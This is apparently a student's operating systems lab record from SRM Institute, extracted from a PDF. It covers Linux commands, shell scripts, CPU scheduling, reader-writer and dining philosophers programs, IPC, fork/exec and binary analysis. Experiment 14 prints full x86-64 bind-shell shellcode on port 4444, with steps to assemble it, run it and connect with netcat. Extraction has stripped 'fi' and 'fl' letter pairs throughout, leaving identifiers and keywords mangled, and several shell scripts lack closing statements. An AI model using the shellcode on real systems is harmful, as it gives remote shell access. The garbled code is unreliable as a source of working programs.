Download as pdf or txt
Download as pdf or txt
You are on page 1of 82

18CSC205J- Operating Systems

Record Work

Register Number : RA2011003010620


RA2011003010621

Name of the Student : ASWIN


HARIHARAN
KRISHNA
M VB

Semester / Year: 4th Semester / 2nd Year

Department: CSE CORE




SRMI INSTITUTE OF SCIENCE AND TECHNOLOGY


S.R.M. NAGAR, KATTANKULATHUR -603 203

BONAFIDECERTIFI-
CATE

Register No. RA2011003010621


RA2011003010620

Certified to be the bonafide record of work done by


HARIHARAN
ASWIN KRISHNA V BM of CSE CORE
, B. Tech Degree course in the Practical 18CSC205J- Oper-
ating Systems in SRM Institute of Science and Technology, Kattankulathur during the acad-
emic year 2021-2022.

Date: Lab Incharge

Submitted for University Examination held in SRM Institute of Science and

Technology, Kattankulathur.

Examiner-1 Examiner-2




INDEX SHEET

Exp Date of Name of the Experiment Page Marks Staff


.
Experi- No. (10) Signa-
No. ment ture

Installing Windows/Linux in Virtual


1 Machine/Workstation. Study about
booting process of Linux.

Try out with Linux simple and advance


2 commands.

Write programs using shell scripting


covering data types, conditional, and
3 looping and decision statements.

4 Write a program in C to implement


round robin scheduling.

Write a program in C to implement


5 reader-writer problem using monitors.
(pthread)

Write a program in C to implement din-


ning philosopher’s problem using sem-
aphore.
6

Create process using fork () system call


and use getpid (), getppid () functions
along with wait () and exit () using C
7 programming.

Write a program in C to implement


8 shared memory using IPC.

9 Write a program in C to implement


message Queue using IPC.

Write program to implement unidirec-


10 tional pipe under IPC using C pro-
gramming.

11 To understand the overlay concepts and


practice how to overlay the current
process to new process in Linux using C
Implement the C program in which the
12 child process calculates the sum of odd
numbers and the parent process calcu-
late the sum of even numbers up to the
number ‘n’.

Implement the C program in which


13 main program accepts the integers to be
sorted Main program uses the fork sys-
tem call to create a new process called a
child process. Parent process sorts the
integers using insertion sort and waits
for child process using wait system call
to sort the integers using selection sort.

14 To perform shell code analysis under


Linux operating system.

15 To perform read, write and execute


permissions on les in Linux. To ana-
lyze binary les on Linux using com-
mands and tools.

4
fi
fi
EXPERIMENT 1

AIM:

To install ubuntu in Mac OS.

Software Used:

Virtual Machine, Ubuntu 20.04.4.

Procedure:

1) Downloading Ubuntu for macOS.

2) Downloading Virtual Box for macOs and install virtualBox.

5
3) Click New and make partition in storage device.

4) Name the Operating System and use the default folders.

6
5) Allocate the Ram and Processor Core for the Ubuntu

operating system.

7
6) Start the Virtual Machine.

7) Click Install Ubuntu.

8
8) Wait till the installation of Ubuntu in the system.

9) Unbutu 21.10.4 installed

9
Result:

Ubuntu 21.10.4 installed successfully in MacOs with virtual machine.

10
EXPERIMENT 2

AIM:

To execute basic linux commands.

Commands:

1) pwd: Print the current working directory


2) rm: To delete any le
3) rm - r: To delete the le directory
4) touch: To create a new le
5) mkdir: To create new le directory
6) echo:“Hello, World!” Displays any message given in the brack-
ets
7) cd: To change directory
8) cp lename1 lename2 : To copy les
9) man: To learn about any linux command
10) ls: To list all the directory
11) mv: To more le using command line
12) nano: To use inbuilt text directory
13) df -m: To check all the available disk space in the system
14) sudo: To use SuperUser do mode
15) tar cvf lename1 *.txt:To create a tar le using command line
interface
16) du Directory: To nd the disk used using command line inter-
face
17) uname -a: To show information about the system
18) di : To nd the di erence between two les

11
ff
fi
fi
fi
fi
fi
fi
fi
ff
fi
fi
fi
fi
fi
fi
19) wc lename: To nd number of lines in the le
20) zcat Filename: Used to view the zip le without unzipping it
21) gunzip: To uncompress the compressed le
22) gzip lename: To create a zip le and to reduce the space
used
23) more lename: It shows the rst part of the le
24) cal: To display the calendar in command line interface
25) hostname: To display the hostname
26) ping website: To display the ping of URL
27) banner display text: To display text as a banner
28) cat lename: Used to display the content of a le
29) date: To display present date and time
30) whoamiTo display the current user name
31) who: To display current users details
32) last -1: To display the last login time and details
33) nger: Get more details about the user
34) clear: To clear the terminal window
35) History: To display the history of all the commands

12
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
OUTPUT:

1) pwd: Print the current working directory

2) rm: To delete any le, 3) rm - r: To delete the le directory



13
fi
fi
4) touch: To create a new le

5) mkdir: To create new le directory


14
fi
fi
6) echo:“Hello, World!” Displays any message given in the brackets

7) cd: To change directory

15
8) cp lename1 lename2 : To copy les


9) man: To learn about any linux command

16
fi
fi
fi
10) ls: To list all the directory


11) mv: To more le using command line

17
fi
12) nano: To use inbuilt text directory


13) df -m: To check all the available disk space in the system

18
14) sudo: To use SuperUser do mode

15) tar cvf lename1 *.txt:To create a tar le using command line inter-
face

19
fi
fi

16) du Directory: To nd the disk used using command line interface


17) uname -a: To show information about the system

20
fi

18) di : To nd the di erence between two les


19) wc lename: To nd number of lines in the le

21
ff
fi
fi
fi
ff
fi
fi
20) zcat Filename: Used to view the zip le without unzipping it

21) gunzip: To uncompress the compressed le

22
fi
fi

22) gzip lename: To create a zip le and to reduce the space used

23) more lename: It shows the rst part of the le

23
fi
fi
fi
fi
fi

24) cal: To display the calendar in command line interface


25) hostname: To display the hostname

24

26) ping website: To display the ping of URL

27) banner display text: To display text as a banner

25
28) cat lename: Used to display the content of a le

29) date: To display present date and time


26
fi
fi
30) whoamiTo display the current user name


31) who: To display current users details

27
32) last -1: To display the last login time and details


33) nger: Get more details about the user

28
fi

34) clear: To clear the terminal window

35) History: To display the history of all the commands

29
EXPERIMENT - 3
AIM:
To write programs using shell scripting covering data types, con-
ditional, and looping and decision statements.

CODE:

Ex-1:
echo “HELLO"

Ex-2
for((i=1;i<=99;i=i+2))
do
echo $i
done

Ex-3
read NAME
echo "Welcome $NAME”

Ex-4
read NUM1
read NUM2
echo `expr $NUM1 + $NUM2`
echo `expr $NUM1 - $NUM2`
echo `expr $NUM1 \* $NUM2`
echo `expr $NUM1 / $NUM2`

30
Ex-5
read X
read Y
if (( $X > $Y ))
then
echo "X is greater than Y"

if (( $X == $Y))
then
echo "X is equal to Y"

if(( $X < $Y))
then
echo "X is less than Y"


Ex-6
read word
if [[($word == 'y') || ($word == 'Y')]]
then
echo "YES"
elif [[($word == 'n') || ($word == 'N')]]
then
echo "NO"

Ex-7
read x
printf "%.3f\n" `echo "$x" | bc -l`

Ex-8
read num
ctr=$num
sum=0
while [ $ctr -gt 0 ]
do
read x
sum=$((sum + x))
ctr=$((ctr - 1))
done
printf "%.3f\n" `echo "$sum/$num" | bc -l`

31
fi
fi
fi
fi
HACKER RANK SCREENSHOT:

RESULT:
We have successfully executed Linux shell questions.

32
EXPERIMENT 4.A
AIM:
To Execute Round robin scheduling algorithm.

CODE:

#include<iostream>

using namespace std;

void indWaitingTime(int processes[], int n,


int bt[], int wt[], int quantum)
{
int rem_bt[n];
for (int i = 0 ; i < n ; i++)
rem_bt[i] = bt[i];

int t = 0;
while (1)
{
bool done = true;

for (int i = 0 ; i < n; i++)


{
if (rem_bt[i] > 0)
{
done = false;

if (rem_bt[i] > quantum)


{
t += quantum;

rem_bt[i] -= quantum;
}
else

33




















{
t = t + rem_bt[i];
wt[i] = t - bt[i];

/
rem_bt[i] = 0;
}
}
}

if (done == true)
break;
}
}

void indTurnAroundTime(int processes[], int n,


int bt[], int wt[], int tat[])
{
for (int i = 0; i < n ; i++)
tat[i] = bt[i] + wt[i];
}

void indavgTime(int processes[], int n, int bt[],


int quantum)
{
int wt[n], tat[n], total_wt = 0, total_tat = 0;

indWaitingTime(processes, n, bt, wt, quantum);

indTurnAroundTime(processes, n, bt, wt, tat);

cout << "Processes "<< " Burst time "


<< " Waiting time " << " Turn around time\n";

34































f
f

f
f

for (int i=0; i<n; i++)


{
total_wt = total_wt + wt[i];
total_tat = total_tat + tat[i];
cout << " " << i+1 << "\t\t" << bt[i] <<"\t "
<< wt[i] <<"\t\t " << tat[i] <<endl;
}

cout << "Average waiting time = "


<< ( loat)total_wt / ( loat)n;
cout << "\nAverage turn around time = "
<< ( loat)total_tat / ( loat)n;
}

int main()
{
int processes[] = { 1, 2, 3};
int n = sizeof processes / sizeof processes[0];

int burst_time[] = {10, 5, 8};

int quantum = 2;
indavgTime(processes, n, burst_time, quantum);
return 0;
}

35
















f
f

f
f

OUTPUT:

RESULT:

We have successfully executed Round Robin Scheduling algorithm.

36

EXPERIMENT - 4.B

AIM:
To execute priority scheduling algorithm.

CODE:

#include<iostream>

using namespace std;

int main() {

int bt[20], p[20], wt[20], tat[20], pr[20], i, j, n, total = 0, pos, temp,


avg_wt, avg_tat;

cout << "Enter Total Number of Process:";

cin >> n;

cout << "\nEnter Burst Time and Priority\n";

for (i = 0; i < n; i++) {

cout << "\nP[" << i + 1 << "]\n";

cout << "Burst Time:";

cin >> bt[i];

cout << "Priority:";

cin >> pr[i];

p[i] = i + 1;

for (i = 0; i < n; i++) {

pos = i;

for (j = i + 1; j < n; j++) {

if (pr[j] < pr[pos])

pos = j;

temp = pr[i];

pr[i] = pr[pos];

pr[pos] = temp;

temp = bt[i];

bt[i] = bt[pos];

bt[pos] = temp;

temp = p[i];

p[i] = p[pos];

p[pos] = temp;

37
}

wt[0] = 0;

for (i = 1; i < n; i++) {

wt[i] = 0;

for (j = 0; j < i; j++)

wt[i] += bt[j];

total += wt[i];

avg_wt = total / n;

total = 0;

cout << "\nProcess\t Burst Time \tWaiting Time\tTurnaround


Time";

for (i = 0; i < n; i++) {

tat[i] = bt[i] + wt[i];

total += tat[i];

cout << "\nP[" << p[i] << "]\t\t " << bt[i] << "\t\t " << wt[i] <<
"\t\t\t" << tat[i];

avg_tat = total / n;

cout << "\n\nAverage Waiting Time=" << avg_wt;

cout << "\nAverage Turnaround Time=" << avg_tat;

return 0;

38
OUTPUT:

RESULT:
We have successfully executed priority scheduling.

39
EXPERIMENT - 4.C

AIM:
To execute rst come rst serve.

CODE:

#include<iostream>

using namespace std;

void ndWaitingTime(int processes[], int n,

int bt[], int wt[])

wt[0] = 0;

for (int i = 1; i < n ; i++ )

wt[i] = bt[i-1] + wt[i-1] ;

void ndTurnAroundTime( int processes[], int n,

int bt[], int wt[], int tat[])

for (int i = 0; i < n ; i++)

tat[i] = bt[i] + wt[i];

void ndavgTime( int processes[], int n, int bt[])

int wt[n], tat[n], total_wt = 0, total_tat = 0;

ndWaitingTime(processes, n, bt, wt);

ndTurnAroundTime(processes, n, bt, wt, tat);

cout << "Processes "<< " Burst time "

<< " Waiting time " << " Turn around time\n";

for (int i=0; i<n; i++)

total_wt = total_wt + wt[i];

total_tat = total_tat + tat[i];

40
fi
fi
fi
fi
fi
fi
fi
cout << " " << i+1 << "\t\t" << bt[i] <<"\t "

<< wt[i] <<"\t\t " << tat[i] <<endl;

cout << "Average waiting time = "

<< ( oat)total_wt / ( oat)n;

cout << "\nAverage turn around time = "

<< ( oat)total_tat / ( oat)n;

int main()

int processes[] = { 1, 2, 3};

int n = sizeof processes / sizeof processes[0];

int burst_time[] = {10, 5, 8};

ndavgTime(processes, n, burst_time);

return 0;

41
fi
fl
fl
fl
fl
OUTPUT:

RESULT:
We have successfully implemented rst come rst serve
scheduling.

42
fi
fi
EXPERIMENT 5

AIM:
Write a program in C to implement reader-writer problem using
monitors. (pthread).

CODE:

// Reader-Writer problem using monitors

#include <iostream>

#include <pthread.h>

#include <unistd.h>

using namespace std;

class monitor

private:

// no. of readers

int rcnt;

// no. of writers

int wcnt;

// no. of readers waiting

int waitr;

// no. of writers waiting

int waitw;

// condition variable to check whether reader can read

pthread_cond_t canread;

// condition variable to check whether writer can write

pthread_cond_t canwrite;

// mutex for synchronization

pthread_mutex_t condlock;

public:

monitor()

43
rcnt = 0;

wcnt = 0;

waitr = 0;

waitw = 0;

pthread_cond_init(&canread, NULL);

pthread_cond_init(&canwrite, NULL);

pthread_mutex_init(&condlock, NULL);

// mutex provide synchronization so that no other thread

// can change the value of data

void beginread(int i)

pthread_mutex_lock(&condlock);

// if there are active or waiting writers

if (wcnt == 1 || waitw > 0)

// incrementing waiting readers

waitr++;

// reader suspended

pthread_cond_wait(&canread, &condlock);

waitr--;

// else reader reads the resource

rcnt++;

cout << "reader " << i << " is reading\n";

pthread_mutex_unlock(&condlock);

pthread_cond_broadcast(&canread);

void endread(int i)

// if there are no readers left then writer enters monitor

pthread_mutex_lock(&condlock);

if (--rcnt == 0)

pthread_cond_signal(&canwrite);

44
pthread_mutex_unlock(&condlock);

void beginwrite(int i)

pthread_mutex_lock(&condlock);

// a writer can enter when there are no active

// or waiting readers or other writer

if (wcnt == 1 || rcnt > 0)

++waitw;

pthread_cond_wait(&canwrite, &condlock);

--waitw;

wcnt = 1;

cout << "writer " << i << " is writing\n";

pthread_mutex_unlock(&condlock);

void endwrite(int i)

pthread_mutex_lock(&condlock);

wcnt = 0;

// if any readers are waiting, threads are unblocked

if (waitr > 0)

pthread_cond_signal(&canread);

else

pthread_cond_signal(&canwrite);

pthread_mutex_unlock(&condlock);

// global object of monitor class

M;

void *reader(void *id)

int c = 0;

int i = *(int *)id;

45
// each reader attempts to read 5 times

while (c < 5)

usleep(1);

M.beginread(i);

M.endread(i);

c++;

void *writer(void *id)

int c = 0;

int i = *(int *)id;

// each writer attempts to write 5 times

while (c < 5)

usleep(1);

M.beginwrite(i);

M.endwrite(i);

c++;

int main()

pthread_t r[5], w[5];

int id[5];

for (int i = 0; i < 5; i++)

id[i] = i;

// creating threads which execute reader function

pthread_create(&r[i], NULL, &reader, &id[i]);

// creating threads which execute writer function

pthread_create(&w[i], NULL, &writer, &id[i]);

for (int i = 0; i < 5; i++)

pthread_join(r[i], NULL);

46
}

for (int i = 0; i < 5; i++)

pthread_join(w[i], NULL);

OUTPUT:

RESULT:
We have successfully implemented Write a program in C to
implement reader-writer problem using monitors. (pthread)

47
EXPERIMENT - 6

AIM:
Write a program in C to implement dinning philosopher’s problem
using semaphore.

CODE:

#include <stdio.h>

#include <pthread.h>

#include <semaphore.h>

#de ne N 5

#de ne THINKING 2

#de ne HUNGRY 1

#de ne EATING 0

#de ne LEFT (num_of_philosopher + 4) % N

#de ne RIGHT (num_of_philosopher + 1) % N

int state[N];

int phil[N] = {0, 1, 2, 3, 4};

// sem_t is a typedef de ned in the header le as (apparently) some


variety of integer.

sem_t mutex;

sem_t S[N];

int sleep(int n);

void test(int num_of_philosopher)

if (state[num_of_philosopher] == HUNGRY && state[LEFT] != EAT-


ING && state[RIGHT] != EATING)

// state that eating

state[num_of_philosopher] = EATING;

sleep(2);

printf("Philosopher %d takes fork %d and %d\n",


num_of_philosopher + 1, LEFT + 1, num_of_philosopher + 1);

48
fi
fi
fi
fi
fi
fi
fi
fi
printf("Philosopher %d is Eating\n", num_of_philosopher + 1);

/* sem_post(&S[num_of_philosopher]) has no e ect

during takefork

used to wake up hungry philosophers

during putfork */

sem_post(&S[num_of_philosopher]);

// take up Forks

void take_fork(int num_of_philosopher)

sem_wait(&mutex);

// state that hungry

state[num_of_philosopher] = HUNGRY;

printf("Philosopher %d is Hungry\n", num_of_philosopher + 1);

// eat if neighbours are not eating

test(num_of_philosopher);

sem_post(&mutex);

// if unable to eat wait to be signalled

sem_wait(&S[num_of_philosopher]);

sleep(1);

// put down Forks

void put_fork(int num_of_philosopher)

sem_wait(&mutex);

// state that thinking

state[num_of_philosopher] = THINKING;

printf("Philosopher %d putting fork %d and %d down\n",


num_of_philosopher + 1, LEFT + 1, num_of_philosopher + 1);

49
ff
printf("Philosopher %d is thinking\n", num_of_philosopher + 1);

test(LEFT);

test(RIGHT);

sem_post(&mutex);

void *philosopher(void *num)

while (1)

int *i = num;

sleep(1);

take_fork(*i);

sleep(0);

put_fork(*i);

int main()

int i;

pthread_t thread_id[N];

// initialize the semaphores

sem_init(&mutex, 0, 1);

for (i = 0; i < N; i++)

sem_init(&S[i], 0, 0);

for (i = 0; i < N; i++)

// create philosopher processes

pthread_create(&thread_id[i], NULL, philosopher, &phil[i]);

50
printf("Philosopher %d is thinking\n", i + 1);

for (i = 0; i < N; i++)

pthread_join(thread_id[i], NULL);

51
OUTPUT:

RESULT:

We have successfully implemented dinning philosopher’s problem


using semaphore.

52
EXPERIMENT - 7

AIM:
Create process using fork () system call and use getpid (), getppid
() functions along with wait () and exit () using C programming.

CODE:
#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <unistd.h>

int main(void)

pid_t pid = fork();

if (pid == 0)

printf("Child => PPID: %d PID: %d\n", getppid(), getpid());

exit(EXIT_SUCCESS);

else if (pid > 0)

printf("Parent => PID: %d\n", getpid());

printf("Waiting for child process to nish.\n");

wait(NULL);

printf("Child process nished.\n");

else

printf("Unable to create child process.\n");

return EXIT_SUCCESS;

53
fi
fi
OUTPUT:

RESULT:
We have successfully implemented OS functions.

54
EXPERIMENT - 8

AIM:
To Write a program in C to implement shared memory using IPC. 


CODE:

1) Reading

#include <iostream>

#include <sys/ipc.h>

#include <sys/shm.h>

#include <stdio.h>

using namespace std;

int main()

// ftok to generate unique key

key_t key = ftok("shm le", 65);

// shmget returns an identi er in shmid

int shmid = shmget(key, 1024, 0666 | IPC_CREAT);

// shmat to attach to shared memory

char *str = (char *)shmat(shmid, (void *)0, 0);

printf("Data read from memory: %s\n", str);

// detach from shared memory

shmdt(str);

// destroy the shared memory

shmctl(shmid, IPC_RMID, NULL);

return 0;

55
fi
fi
2) Writing

#include <iostream>

#include <sys/ipc.h>

#include <sys/shm.h>

#include <stdio.h>

using namespace std;

int main()

key_t my_key = ftok("shm le", 65); // ftok function is used


to generate unique key

int shmid = shmget(my_key, 1024, 0666 | IPC_CREAT); // shmget re-


turns an ide in shmid

char *str = (char *)shmat(shmid, (void *)0, 0); // shmat to join to


shared memory

cout << "Write Data : ";

fgets(str, 50, stdin);

printf("Data written in memory: %s\n", str);

// detach from shared memory

shmdt(str);

return 0;

56
fi
OUTPUT:

RESULT:
We have successfully implement shared memory using IPC.

57
EXPERIMENT - 9

AIM:
To write a program in C to implement message queue using IPC.

Code:
// C Program for Message Queue (Writer Process)

#include <stdio.h>

#include <sys/ipc.h>

#include <sys/msg.h>

#de ne MAX 10

// structure for message queue

struct mesg_bu er

long mesg_type;

char mesg_text[100];

} message;

int main()

key_t key;

int msgid;

// ftok to generate unique key

key = ftok("prog le", 65);

// msgget creates a message queue

// and returns identi er

msgid = msgget(key, 0666 | IPC_CREAT);

message.mesg_type = 1;

printf("Write Data : ");

fgets(message.mesg_text, MAX, stdin);

// msgsnd to send message

msgsnd(msgid, &message, sizeof(message), 0);

// display the message

printf("Data send is : %s \n", message.mesg_text);

return 0;

58
fi
ff
fi
fi
// C Program for Message Queue (Reader Process)

#include <stdio.h>

#include <sys/ipc.h>

#include <sys/msg.h>

// structure for message queue

struct mesg_bu er

long mesg_type;

char mesg_text[100];

} message;

int main()

key_t key;

int msgid;

// ftok to generate unique key

key = ftok("prog le", 65);

// msgget creates a message queue

// and returns identi er

msgid = msgget(key, 0666 | IPC_CREAT);

// msgrcv to receive message

msgrcv(msgid, &message, sizeof(message), 1, 0);

// display the message

printf("Data Received is : %s \n",

message.mesg_text);

// to destroy the message queue

msgctl(msgid, IPC_RMID, NULL);

return 0;

59
ff
fi
fi
OUTPUT:

RESULT:
We have successfully implemented message passing IPC.

60
EXPERIMENT 10

AIM:
To write program to implement unidirectional pipe under IPC us-
ing C programming.

CODE:
#include <stdio.h>

#include <unistd.h>

int main()

int pipefds[2];

int returnstatus;

char writemessages[2][20] = {"Hi", "Hello"};

char readmessage[20];

returnstatus = pipe(pipefds);

if (returnstatus == -1)

printf("Unable to create pipe\n");

return 1;

printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);

write(pipefds[1], writemessages[0], sizeof(writemessages[0]));

read(pipefds[0], readmessage, sizeof(readmessage));

printf("Reading from pipe – Message 1 is %s\n",


readmessage);

printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);

write(pipefds[1], writemessages[1], sizeof(writemessages[0]));

read(pipefds[0], readmessage, sizeof(readmessage));

printf("Reading from pipe – Message 2 is %s\n",


readmessage);

return 0;

61
OUTPUT:

RESULT:
We have successfully implemented Unidirectional PIPE using IPC.

62
EXPERIMENT - 9

AIM:
To understand the overlay concepts and practice how to overlay
the current process to new process in Linux using C.

CODE:
Step 1 : hello #include<stdio.h> void main()

printf("Hello World\n”);

return;

Step 2 : loop #include<stdio.h> void main()

int value = 1;

while (value <= 10)

printf("%d\t", value);

Value++;

printf("\n");

Return;

63

Step 3 : Overlay 1

#include <stdio.h> #include<unistd.h>

void

main()

execl("./hello", "./hello", (char *)0);

printf("This wouldn't print\n");

return;

Step 4 : Overlay 2

#include <stdio.h> #include<unistd.h>

void

main()

int pid;

pid = fork();

/* Child process */ if (pid == 0)

printf("Child process: Running Hello World Program\n");

execl("./hello", "./hello", (char *)0);

64

printf("This wouldn't print\n");

else

{ /* Parent process */

sleep(3);

printf("Parent process: Running While loop Program\n");

execl("./loop", "./loop", (char *)0);

printf("Won't reach here\n");

return;

Step 5 Overlay 2

#include <stdio.h> #include<string.h> #include<unistd.h>

void

main(int argc, char *argv[0])

int pid;

int err;

int num_times;

char num_times_str[5];

65

/* In no command line arguments are passed, then loop maximum count taken as
10 */ if (argc == 1)

printf("Taken loop maximum as 10\n");

num_times = 10;

sprintf(num_times_str, "%d", num_times);

else

strcpy(num_times_str, argv[1]);

printf("num_times_str is %s\n", num_times_str);

pid = fork();

/* Child process */ if (pid == 0)

printf("Child process: Running Hello World Program\n");

err = execl("./hello", "./hello", (char *)0);

printf("Error %d\n", err);

perror("Execl error: ");

printf("This wouldn't print\n");

66

else

{ /* Parent process */

sleep(3);

printf("Parent process: Running While loop Program\n");

execl("./loop", "./loop", (char *)num_times_str, (char *)0);

printf("Won't reach here\n");

return;

OUTPUT:

67

68
RESULT:

We have successfully implemented overlay the current process to


new process in Linux using C.

69
EXPERIMENT - 12

AIM:
Implement the C program in which the child process calculates
the sum of odd numbers and the parent process calculate the
sum of even numbers up to the number ‘n’.

CODE:
#include <iostream>

#include <unistd.h>

using namespace std;

int main()

int a[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};

int sumOdd = 0, sumEven = 0, n, i;

n = fork();

if (n > 0)

for (i = 0; i < 10; i++)

if (a[i] % 2 == 0)

sumEven = sumEven + a[i];

cout << "Parent process \n";

cout << "Sum of even no. is " << sumEven << endl;

else

for (i = 0; i < 10; i++)

if (a[i] % 2 != 0)

sumOdd = sumOdd + a[i];

cout << "Child process \n";

cout << "\nSum of odd no. is " << sumOdd << endl;

return 0;

70
OUTPUT:

RESULT:
We have successfully implemented the C program in which
the child process calculates the sum of odd numbers and the
parent process calculate the sum of even numbers up to the
number ‘n’.

71
EXPERIMENT - 13

AIM:

Implement the C program in which main program accepts the in-
tegers to be sorted Main program uses the fork system call to
create a new process called a child process. Parent process sorts
the integers using insertion sort and waits for child process using
wait system call to sort the integers using selection sort.

CODE:
#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

#include <stdlib.h>

void insertionSort(int arr[30], int n)

int i, j, temp;

for (i = 1; i < n; i++)

temp = arr[i];

j = i - 1;

while (j >= 0 && temp <= arr[j])

arr[j + 1] = arr[j];

j = j - 1;

arr[j + 1] = temp;

void selectionSort(int arr[30], int n)

72
{

int i, j, min, temp;

for (i = 0; i < n; i++)

min = i;

for (j = i + 1; j < n; j++)

if (arr[j] < arr[min])

min = j;

temp = arr[i];

arr[i] = arr[min];

arr[min] = temp;

void fork1()

int arr[25], arr1[25], n, i, status;

printf("\nEnter the no of values in array :");

scanf("%d", &n);

printf("\nEnter the array elements :");

for (i = 0; i < n; i++)

scanf("%d", &arr[i]);

int pid = fork();

if (pid == 0)

sleep(10);

printf("\nchild process\n");

printf("child process id=%d\n", getpid());

73
selectionSort(arr, n);

printf("\nElements Sorted Using selectionSort:");

printf("\n");

for (i = 0; i < n; i++)

printf("%d,", arr[i]);

printf("\b");

printf("\nparent process id=%d\n", getppid());

system("ps -x");

else

printf("\nparent process\n");

printf("\nparent process id=%d\n", getppid());

insertionSort(arr, n);

printf("Elements Sorted Using insertionSort:");

printf("\n");

for (i = 0; i < n; i++)

printf("%d,", arr[i]);

printf("\n\n\n");

int main()

fork1();

return 0;

74
OUTPUT:

RESULT:
We have successfully implemented the process sort program.

75
EXPERIMENT - 14

AIM:
To perform bindshell using Nasm in Linux 64bit shell code.

Procedure:

Step 1: Start the Ubuntu and open the terminal.

Step 2: First Check whether nasm is install or not. If not then in-

stall in terminal by giving command as -

$sudo apt-get update

$sudo apt-get install nasm

Step 3: For checking whether it install using command in terminal

as - $nasm -h

Step 4: For running the bindshell, write the code and save it

in .nasm extension or get the code from website http://shell-

storm.org/shellcode/. Find code as Linux/x86-64 - bindshell

port:4444 shellcode - 132 bytes by evil.xi4oyu

Step 5: For execution open terminal and type command as

$nasm -f elf64 bindshell.nasm -o bindshell.o // -f : format

$ld bindshell.o -o bindshell $./binshell

76
Step 6: Now open new terminal and type

$netstat –nlt //to check whether 4444 port is open after executing

bindshell

$nc localhost 4444 // netcat command to connect localhost ls //list

of directory

pwd //current working directory w //User account

exit //for terminating the connection

Step 7: For disassembling the code

$ objdump -D -M intel bindshell.o // Disassembling according to

section wise.

PROGRAM:

BITS 64

xor eax,eax xor ebx,ebx xor edx,edx

;socket mov al,0x1 mov esi,eax inc al

mov edi,eax mov dl,0x6 mov al,0x29 syscall

xchg ebx,eax ;store the server sock

;bind

xor rax,rax push rax

77
push 0x5c110102 mov [rsp+1],al mov rsi,rsp

mov dl,0x10 mov edi,ebx mov al,0x31 syscall

;listen

mov al,0x5 mov esi,eax mov edi,ebx mov al,0x32 syscall

;accept

xor edx,edx xor esi,esi mov edi,ebx mov al,0x2b syscall

mov edi,eax ; store sock

;dup2

xor rax,rax mov esi,eax mov al,0x21 syscall

inc al

mov esi,eax mov al,0x21 syscall

inc al

mov esi,eax mov al,0x21 syscall

;exec

xor rdx,rdx

mov rbx,0x68732f6e69622fff shr rbx,0x8

push rbx mov rdi,rsp xor rax,rax push rax push rdi mov rsi,rsp mov al,0x3b

syscall

push rax pop rdi mov al,0x3c syscall

78
OUTPUT:

RESULT:

Hence the program is executed and output is successfully veri ed.

79
fi
EXPERIMENT - 15
AIM:
To Analyze binary le in Linux.

ANALYSIS:
• File This will be your starting point for binary analysis. We
work with les daily. Not everything is an executable type;
there is a whole wide range of le types out there. Before you
start, you need to understand the type of le that is being an-
alyzed. Is it a binary le, a library le, an ASCII text le, a
video le, a picture le, a PDF, a data le, etc.?
virtual-machine:~$ le /bin/ls
• ldd command comes into the picture. Running it against a
dynamically linked binary shows all its dependent libraries
and their paths.
virtual-machine:~$ldd /bin/ls
• ltrace command displays all the functions that are being
called at run time from the library. In the below example, you
can see the function names being called, along with the ar-
guments being passed to that function. You can also see
what was returned by those functions on the far right side of
the output.
virtual-machine:~$ltrace ls
• Hexdump helps you see what exactly the le contains. You
can also choose to see the ASCII representation of the data
present in the le using some command-line options.
virtual-machine:~$hexdump -C /bin/ls | head
• When software is being developed, a variety of text/ASCII
messages are added to it, like printing info messages, de-
bugging info, help messages, errors, and so on. Provided all
this information is present in the binary, it will be dumped to
screen using strings.

80
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
virtual-machine:~$strings /bin/ls
• ELF (Executable and Linkable File Format) is the dominant
le format for executable or binaries, not just on Linux but a
variety of UNIX systems as well. If you have utilized tools like
le command, which tells you that the le is in ELF format,
the next logical step will be to use the readelf command and
its various options to analyze the le further.
virtual-machine:~$readelf -h /bin/ls
• objdump utility reads the binary or executable le and
dumps the assembly language instructions on the screen.
Knowledge of assembly is critical to understand the output of
the objdump command.
virtual-machine:~/OS$ objdump -d /bin/ls | head
• The strace utility traces system calls. System calls are how
you interface with the kernel to get work done
virtual-machine:~$strace -f /bin/ls
• The nm command will provide you with the valuable informa-
tion that was embedded in the binary during
compilation. nm can help you identify variables and functions
from the binary
jvirtual-machine:~/OS$ nm pipe | tail
• gdb is the defacto debugger. It helps you load a program, set
breakpoints at speci c places, analyze memory and CPU reg-
ister, and do much more. It complements the other tools men-
tioned above and allows you to do much more runtime analy-
sis.

virtual-machine:~/OS$ gdb -q ./pipe


Reading symbols from ./pipe...
(No debugging symbols found in ./pipe)
81
fi
fi
fi
fi
fi
fi
(gdb) break main
Breakpoint 1 at 0x1209
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000001209 <main>
(gdb) run
Starting program: /home/joseph/OS/pipe
Breakpoint 1, 0x0000555555555209 in main ()
(gdb) bt
#0 0x0000555555555209 in main ()
(gdb) c
Continuing.
[Detaching after fork from child process 30654]
Parent Passing value to child
Child printing received value
hello
[Inferior 1 (process 30646) exited normally]
(gdb) q

RESULT:

We have successfully analysed the binary le in Linux.

82
fi

You might also like